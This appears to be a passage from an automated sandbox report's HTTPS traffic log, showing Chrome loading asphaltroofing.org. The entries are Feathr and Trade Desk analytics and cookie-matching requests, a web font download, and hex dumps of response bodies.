2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 16 06 88 c4 4c 29 5b 56 55 d8 eb 26 3e 02 03 a1 1e a4 ed 1f 67 37 d9 73 6a ad 30 9b c9 30 85 08 20 8d 5c 62 19 67 e9 08 09 85 bf 42 28 8b f1 f9 fa 28 45 b0 83 87 68 9b 1f dd 8c f4 af 42 e8 3f a6 cd 32 a7 ae 36 b2 53 1f b2 f0 2c b5 42 33 01 16 a5 53 4a 5c db 5c 58 25 9c d1 fb c5 90 e4 d9 23 f5 e4 45 9d da ed cc 7b e2 9e 5a 78 e9 b5 97 2f 6f 52 29 1d 0c b6 7e 02 9c 01 f3 0f c4 aa d6 ce e0 d7 1a 3d bf f0 bc 9d f6 c6 d3 cd de f4 b6 d0 67 f4 cb ab f4 a8 16 69 3e ed 36 c7 91 96 a9 ad 03 f5 2e 4e 29 b2 91 9e 0c 67 8c 81 c1 62 32 97 15 03 3e 22 50 55 ba 09 bb 2d a8 cd 98 0d 20 30 eb 37 63 9a 38 cc 6b de cd b3 f2 48 ac 65 14 ab b5 45 0f fd e9 23 08 0e 47 e7 2c eb eb 00 d6 88 d0 72 2e d1 d2 50 32 67 42 c5 f3 30 38 f3 1e bb be f6 67 73 9a fb 84 c9 22 b8 a6 4d 54 a0 Data Ascii: L)[VU&>g7sj00 \bgB((EhB?26S,B3SJ\\X%#E{Zx/oR)~=gi>6.N)gb2>"PU- 07c8kHeE#G,r.P2gB08gs"MT
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 9d 00 e9 b0 48 3f f2 ae 63 ae cc 03 75 6f 60 d2 d5 ab 15 27 64 e7 d3 b2 2a 01 ad 69 11 5b 94 26 60 a4 65 66 6d 13 a4 89 fc 52 17 a5 2e ac 15 9e 0f c3 29 41 ba 90 bd 88 2d 4c 17 5c f6 f4 4b 9e ed 0f 1b 11 9a c4 d7 38 7f ea e8 f5 e3 a9 15 c3 2b 24 98 df 2d df 9f 2d 7d 9a 84 a2 17 1e 9b 5a 5f 11 21 15 fa 19 5c 51 0e 90 3b 91 79 c0 e3 80 e7 41 46 c0 04 c6 46 29 53 2b e3 a0 e7 46 86 bf 86 b9 d1 43 3f 3c e0 15 e3 00 e2 ce 33 c8 57 e3 c9 d1 fe 1e 6f 8a 41 9e 78 82 fc b1 96 f2 3c c0 00 11 ea 12 56 a6 b1 2c d2 af 44 42 fb cc b2 c5 3f 6f a8 07 9d 34 76 83 3d 26 18 bd 9d d7 67 f9 4f 4d 78 d9 d0 09 d7 4b d8 18 e6 7c ae 36 c8 75 1a 01 a9 36 a9 60 14 4d 0d 31 ec 00 90 8f dc ed ce 37 f5 92 a0 d0 90 c2 7f 0d 7d df e5 a4 b3 87 dd 98 49 99 27 a6 4c e1 f1 03 2a d5 ec 9b 86 Data Ascii: H?cuo`'di[&`efmR.)A-L\K8+$--}Z_!\Q;yAFF)S+FC?<3WoAx<V,DB?o4v=&gOMxK\|6u6`M17}I'L
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 17 49 de 5f 9e 25 1c e7 89 89 c1 88 9e 79 90 5c ab b0 10 45 91 9e 03 3b 7c 55 a1 50 06 1d 63 20 c5 73 ac 01 0b 0c ba 4e 10 6c 05 3a 31 02 c1 46 b4 df bb 71 0b 1d 64 4f 01 9e cd e4 09 d6 1a bc 6a fd 42 4a 45 5e 2e 4f 34 3f 74 be 88 97 9b 86 06 86 6d ba de f1 dd 39 8f 8c 33 e8 2a 2c ce ef a5 11 13 1f f6 10 25 af c7 53 65 2b f3 dc c8 ae b7 a6 05 ca d0 8b 6d 19 7a 60 fd e2 9e 4a 4d 4e b7 51 af 0b cf f7 8e 0d 7f 8b 31 ca db 7f 68 e2 6c 72 b0 f6 99 99 1f c8 f6 6c f3 94 06 18 4d fe 3e a3 66 23 f2 47 05 1a f3 d3 c9 1f 10 03 1f 76 13 05 e5 0b 61 78 58 13 35 23 9b a9 8b 8d d5 29 5e 3f b9 9d 3a af d5 ba d6 22 12 cd 0b 9b 27 22 b5 2d 8d ae 20 f2 bb ab 1f d4 3c 18 b3 cb 31 45 12 53 b8 36 83 28 de 5d 1d 16 13 5e b9 db d0 0f bc 07 c6 69 63 73 93 63 e1 43 49 c4 51 9a e8 Data Ascii: I_%y\E;\|UPc sNl:1FqdOjBJE^.O4?tm93*,%Se+mz`JMNQ1hlrlM>f#GvaxX5#)^?:"'"- <1ES6(]^icscCIQ
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 4c 8e fb fa af ca d5 f8 da 93 a0 9a b2 f4 2c f4 f9 29 64 c2 de b7 75 3c 72 6f 85 d1 21 16 41 db 6d 43 0f e0 0f 58 a4 bc 71 ba 28 13 f7 10 d8 b1 51 c5 bf 42 e4 83 09 a3 95 96 62 dc f1 e6 10 71 42 59 d8 3f 9c 63 a9 8b 7f c6 0f 01 4b 2d 9d 99 89 78 5c 8f 7d 66 de a9 93 10 a0 ee 81 d2 36 a0 1f 20 22 db c9 3a 2e 02 26 bc d6 8d 9d bd 0b f2 17 29 b8 e7 14 53 cf e6 26 5e b7 8a 70 f5 4d e1 17 e5 43 7d 20 54 e6 e3 61 fb 14 2b 40 92 a4 3f 9c dc 94 10 ce 97 78 e5 82 93 9b 34 76 33 67 9c f9 9f e3 6b d7 c5 b3 56 a7 d5 9f 7f 35 df f0 8d e3 dc 6e bd bf 6d 2d ad 62 66 6b af 79 e6 b2 74 7a 5f 88 5f b8 a4 42 f4 c6 d0 06 4a 10 62 16 65 d6 00 d6 69 3e c1 6e ae c7 8e 38 f3 df 73 77 5d 57 e5 b1 67 e9 f4 fd 4d c7 3a e6 ae b8 80 b2 d4 fb 07 62 82 c5 d3 d6 97 6e 3c 3c 18 2c 6e c9 Data Ascii: L,)du<ro!AmCXq(QBbqBY?cK-x\}f6 ":.&)S&^pMC} Ta+@?x4v3gkV5nm-bfkytz__BJbei>n8sw]WgM:bn<<,n
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 9f 95 6a b9 75 6c 39 26 5e cb 2a ad f3 22 e2 1a fe ef c3 b1 43 ca 42 2f a2 5a 14 24 56 57 bb 3c 0a b2 88 41 94 5c ad d5 4b 2c b7 3d 57 e9 87 e8 a8 95 ee d3 e5 6d 70 0f 3c c9 67 58 e1 bc fb cb a3 a8 22 91 c2 5b 43 48 f1 75 4f 9e 3c 7b c8 45 a1 71 d4 2d 8f 0a 49 0c 04 46 c1 33 32 59 3f 73 8d d2 0d a7 f6 dd fb e2 15 37 a9 90 9d fe 34 38 8c 14 b0 f8 c8 1c 59 66 44 93 c5 32 fd cd a3 ee d7 df b7 f8 a6 83 55 fe 1e d2 b2 45 14 be 93 5f ad 97 ae 66 32 e7 32 67 f4 78 ef ee f3 b6 5d 2e f7 9d ef 91 17 2a df 2f 07 b9 d8 d4 0d 36 3a f5 d7 b3 0c 5e 95 d7 12 0e 8d 48 c7 6e b4 d0 38 04 4f 6e 90 32 8e 43 cd 0a c1 53 e9 c1 62 6e b0 24 5e c4 fe 20 e3 cb 12 dd dd 44 e9 74 7f ca fb 78 ee 51 bd 86 17 aa f0 f2 e4 c3 6f 1e 1b 22 76 0b e4 7f dc 18 fe 2b 3a fd 25 49 d2 06 8c ed 0d Data Ascii: jul9&^"CB/Z$VW<A\K,=Wmp<gX"[CHuO<{Eq-IF32Y?s748YfD2UE_f22gx]./6:^Hn8On2CSbn$^ DtxQo"v+:%I
2024-04-23 14:53:54 UTC	8192	IN	Data Raw: 87 8a 25 d1 a4 79 20 b8 4b d4 74 a0 33 f6 a1 98 7d 8e 0a 77 68 63 b9 34 93 78 3b c6 0c 8e 90 21 5a 90 0d 1c 22 14 f2 72 45 5d 19 38 45 36 99 8c b8 e1 a8 48 2c 8f bd a1 a3 fa 3f 3c 3c 1c 1e 73 34 25 65 fb 14 98 7d 22 a7 e6 04 33 91 71 ff 8d ec cd 9b 58 9c 62 8a b2 82 e1 63 f4 4b b3 ea d3 94 31 29 2d b8 32 03 af 0c 18 0c 1a 48 4f ad 97 18 55 e8 3d 52 93 59 43 43 05 92 26 23 20 09 ca 18 cd c6 a9 a3 a5 18 bd e5 79 92 67 45 2a 9b 7d 90 a9 2a 7f 7d d1 13 2a dc 19 93 3d 95 0d 15 4f a8 9e 24 39 c2 97 3a 65 29 83 86 a2 a2 a3 d1 04 09 b1 59 2f 41 2e c8 85 8c 7a 29 ce d0 c2 2d 06 0d 9f f7 e1 92 d9 d3 94 6c 0a cd 73 23 7d 3e bd 02 62 ab 45 a4 c8 6a b9 aa d5 01 bc 9a 92 4a b7 28 fc 01 76 0e d3 d7 1e 29 d2 7b 88 dd c4 1e 8b 1a 15 03 12 61 83 a8 41 7c 92 1a 8f 81 5f 4b Data Ascii: %y Kt3}whc4x;!Z"rE]8E6H,?<<s4%e}"3qXbcK1)-2HOU=RYCC&# ygE}}*=O$9:e)Y/A.z)-ls#}>bEjJ(v){aA\|_K
2024-04-23 14:53:54 UTC	2183	IN	Data Raw: dd 95 cc 74 0c 32 ef 76 0a 8a 07 c4 3b 65 e9 fd de cb 7f 3e a9 d5 fe f5 51 ee 34 2c 3e fc 58 d0 bd 4a d6 eb b3 50 ab f4 3a b4 2e fa fe e0 4d e9 19 cb 0b f6 28 fa 7d 0a 23 76 f5 ab d1 1e 6c e3 f4 b4 0b 14 99 a4 7c 39 d2 13 1e 5a ee 4b b1 fb 57 01 cd e2 21 c9 fa bd 0d c0 7a a6 9c fb 24 39 de a3 0e 5e b4 7a 41 cf f7 59 31 5b 1f 06 db 5f 68 81 52 74 74 41 ce 95 ce 2f fd ee 07 79 d1 50 29 f7 35 26 c2 8a c2 82 56 b1 0b 98 77 da 48 56 dc ba 76 68 89 5a cf 2d 3b 69 1a b6 5c 0d ad 85 32 21 84 1b 16 6c aa 81 59 4b 42 65 ce ec f7 af 02 75 19 d7 fc 7d c7 51 55 a2 62 4b 05 d7 f8 6f f0 a4 59 38 b1 1e ad d3 5a d7 3b 09 39 12 57 58 a4 fa 11 41 ec be 44 1d 47 a5 12 a2 75 2f 34 48 6e 24 09 1f ce 50 25 eb 1b b4 df 5e 05 66 6d 82 a7 3a 3f ce 59 f3 c5 24 4e e6 33 fb 90 9c 0a Data Ascii: t2v;e>Q4,>XJP:.M(}#vl\|9ZKW!z$9^zAY1[_hRttA/yP)5&VwHVvhZ-;i\2!lYKBeu}QUbKoY8Z;9WXADGu/4Hn$P%^fm:?Y$N3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49856	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	644	OUT	GET /v1/analytics/match/script.js?a_id=603026366fd8bf4e42de107f&pk=feathr&cb=1713884032322 HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:53:54 UTC	964	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:54 GMT Content-Type: text/javascript Content-Length: 290 Connection: close Cache-Control: no-cache, max-age=0 ETag: "6627cb818425280008d4a656" Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GacLdDoXcjYVOEiQlZ%2FlX0j6848LmwbVU4ryLTXJDJxwwKk0rF74BdMk9FYkr%2FrAhXI0lk4RWk9hK1JdarC4A8Fh1tmBvoWsXB%2FXPDBJQoq9IwX3z8B9%2FdeH2UhqTMAq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaf8c7e894570-ATL
2024-04-23 14:53:54 UTC	290	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 77 29 20 7b 0a 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 2e 66 65 61 74 68 72 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 20 20 20 20 20 20 20 20 77 2e 66 65 61 74 68 72 28 27 69 6e 74 65 67 72 61 74 65 27 2c 20 27 74 74 64 27 2c 20 27 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 27 29 3b 0a 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 2e 66 65 61 74 68 72 20 3d 3d 3d 20 27 66 75 6e 63 74 69 6f 6e 27 29 20 7b 0a 20 20 20 20 20 20 20 20 77 2e 66 65 61 74 68 72 28 27 6d 61 74 63 68 27 2c 20 27 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 Data Ascii: (function (w) { if (typeof w.feathr === 'function') { w.feathr('integrate', 'ttd', '6627cb818425280008d4a656'); } if (typeof w.feathr === 'function') { w.feathr('match', '6627cb818425280008d4a656

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49857	13.32.151.88	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	388	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:53:54 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:53:54 GMT x-amzn-RequestId: 7b5e2fdd-d6bb-4f36-9ea6-b239499ea378 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:53:54 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: Wry8YFZqoAMEMig= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cb82-3e60dc54342f3a7d681ca68f;Parent=4d9863a06af9db93;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 603961b1b2dad8873023f00c2744bd6e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD66-C2 X-Amz-Cf-Id: iU8R-l_6JqtVoQcXqcJVhvttLQrrCYVlvnZ4rn8T9TQU01PAafNEgA==
2024-04-23 14:53:54 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49858	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	614	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/pixel.js?pk=feathr HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:53:54 UTC	938	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:53:54 GMT Content-Type: text/javascript Content-Length: 32 Connection: close Cache-Control: must-revalidate, max-age=14400 Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UO5KW78FvIuYhs1owi4a6NO%2B42P%2BVoCHS19gLBYKMFzOCrK59jh9X4TZ%2FwWD6VBWlBsfnWTDagS1FVvDJcMu6jCpfzMPhPT1kH2C4EAiyJn0fWFOgagqBvPJew9fpzHk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eaf8d8e6953c7-ATL
2024-04-23 14:53:54 UTC	32	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 77 29 20 7b 0a 20 20 20 20 0a 7d 28 77 69 6e 64 6f 77 29 29 3b Data Ascii: (function (w) { }(window));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49859	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:53 UTC	998	OUT	GET /wp-content/plugins/revslider/public/assets/fonts/revicons/revicons.woff?5510888 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.asphaltroofing.org sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://www.asphaltroofing.org/wp-content/plugins/revslider/public/assets/css/rs6.css?ver=6.2.2 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; _ga_YHMWY88VCL=GS1.1.1713884019.1.0.1713884020.0.0.0; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _scc_session=pc=1&C_TOUCH=2024-04-23T14:53:49.412Z
2024-04-23 14:53:54 UTC	540	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:53:54 GMT Content-Type: font/woff Content-Length: 7536 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Sat, 14 Nov 2020 23:58:50 GMT ETag: "15c0b51-1d70-5b419ed2ec280" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:53:54 UTC	7536	IN	Data Raw: 77 4f 46 46 00 01 00 00 00 00 1d 70 00 0e 00 00 00 00 2e c0 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4f 53 2f 32 00 00 01 44 00 00 00 44 00 00 00 56 3e 28 48 9e 63 6d 61 70 00 00 01 88 00 00 00 66 00 00 01 82 a1 1e a3 26 63 76 74 20 00 00 01 f0 00 00 00 14 00 00 00 1c 06 d7 ff 06 66 70 67 6d 00 00 02 04 00 00 04 f9 00 00 09 91 8a 0a 78 3b 67 61 73 70 00 00 07 00 00 00 00 08 00 00 00 08 00 00 00 10 67 6c 79 66 00 00 07 08 00 00 12 1c 00 00 1b 6a 9a 21 54 81 68 65 61 64 00 00 19 24 00 00 00 36 00 00 00 36 00 6a 3d e5 68 68 65 61 00 00 19 5c 00 00 00 20 00 00 00 24 07 df 03 ad 68 6d 74 78 00 00 19 7c 00 00 00 5f 00 00 00 b0 7c 63 00 00 6c 6f 63 61 00 00 19 dc 00 00 00 5a 00 00 00 5a a5 ef a0 1e 6d 61 78 70 00 00 1a 38 00 00 00 Data Ascii: wOFFp.OS/2DDV>(Hcmapf&cvt fpgmx;gaspglyfj!Thead$66j=hhea\ $hmtx\|_\|clocaZZmaxp8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49861	3.33.220.150	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:54 UTC	714	OUT	GET /track/cmf/generic?ttd_pid=6fgi4r1&ttd_tpi=1&ttd_puid=6627cb818425280008d4a656&gdpr=0&ttd_passthrough=a_id%3D603026366fd8bf4e42de107f HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:53:54 UTC	568	IN	HTTP/1.1 302 Found Date: Tue, 23 Apr 2024 14:53:54 GMT Content-Length: 345 Connection: close server: Kestrel location: https://match.adsrvr.org/track/cmb/generic?ttd_pid=6fgi4r1&ttd_tpi=1&ttd_puid=6627cb818425280008d4a656&gdpr=0&ttd_passthrough=a_id%3D603026366fd8bf4e42de107f set-cookie: TDID=b73cbbe9-d3f6-43f9-891b-3186ee4712ab; expires=Wed, 23 Apr 2025 14:53:54 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSgCMgsI5qDQ2P3r8TwQBTgB; expires=Wed, 23 Apr 2025 14:53:54 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-23 14:53:54 UTC	345	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 36 66 67 69 34 72 31 26 74 74 64 5f 74 70 69 3d 31 26 74 74 64 5f 70 75 69 64 3d 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 26 67 64 70 72 3d 30 26 74 74 64 5f 70 61 73 73 74 68 72 6f 75 67 68 3d 61 5f 69 64 25 33 44 36 30 33 30 32 36 33 36 36 66 64 38 62 66 34 65 34 32 64 65 31 30 37 66 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 36 66 67 69 34 72 31 26 74 74 64 5f 74 70 69 3d 31 26 74 74 Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/generic?ttd_pid=6fgi4r1&ttd_tpi=1&ttd_puid=6627cb818425280008d4a656&gdpr=0&ttd_passthrough=a_id%3D603026366fd8bf4e42de107f">https://match.adsrvr.org/track/cmb/generic?ttd_pid=6fgi4r1&ttd_tpi=1&tt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49862	3.33.220.150	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:55 UTC	801	OUT	GET /track/cmb/generic?ttd_pid=6fgi4r1&ttd_tpi=1&ttd_puid=6627cb818425280008d4a656&gdpr=0&ttd_passthrough=a_id%3D603026366fd8bf4e42de107f HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=b73cbbe9-d3f6-43f9-891b-3186ee4712ab; TDCPM=CAEYBSgCMgsI5qDQ2P3r8TwQBTgB
2024-04-23 14:53:55 UTC	567	IN	HTTP/1.1 302 Found Date: Tue, 23 Apr 2024 14:53:55 GMT Content-Length: 335 Connection: close server: Kestrel location: https://polo-v1.feathr.co:443/v1/analytics/match?f_id=6627cb818425280008d4a656&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&a_id=603026366fd8bf4e42de107f set-cookie: TDID=b73cbbe9-d3f6-43f9-891b-3186ee4712ab; expires=Wed, 23 Apr 2025 14:53:55 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSABKAIyCwjmoNDY_evxPBAFOAE.; expires=Wed, 23 Apr 2025 14:53:55 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-04-23 14:53:55 UTC	335	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 6f 2d 76 31 2e 66 65 61 74 68 72 2e 63 6f 3a 34 34 33 2f 76 31 2f 61 6e 61 6c 79 74 69 63 73 2f 6d 61 74 63 68 3f 66 5f 69 64 3d 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 35 36 26 74 74 64 5f 69 64 3d 62 37 33 63 62 62 65 39 2d 64 33 66 36 2d 34 33 66 39 2d 38 39 31 62 2d 33 31 38 36 65 65 34 37 31 32 61 62 26 61 5f 69 64 3d 36 30 33 30 32 36 33 36 36 66 64 38 62 66 34 65 34 32 64 65 31 30 37 66 22 3e 68 74 74 70 73 3a 2f 2f 70 6f 6c 6f 2d 76 31 2e 66 65 61 74 68 72 2e 63 6f 3a 34 34 33 2f 76 31 2f 61 6e 61 6c 79 74 69 63 73 2f 6d 61 74 63 68 3f 66 5f 69 64 3d 36 36 32 37 63 62 38 31 38 34 32 35 32 38 30 30 30 38 64 34 61 36 Data Ascii: Redirecting to: <a href="https://polo-v1.feathr.co:443/v1/analytics/match?f_id=6627cb818425280008d4a656&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&a_id=603026366fd8bf4e42de107f">https://polo-v1.feathr.co:443/v1/analytics/match?f_id=6627cb818425280008d4a6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49863	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:53:55 UTC	861	OUT	GET /v1/analytics/crumb?cb=1713884033956&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
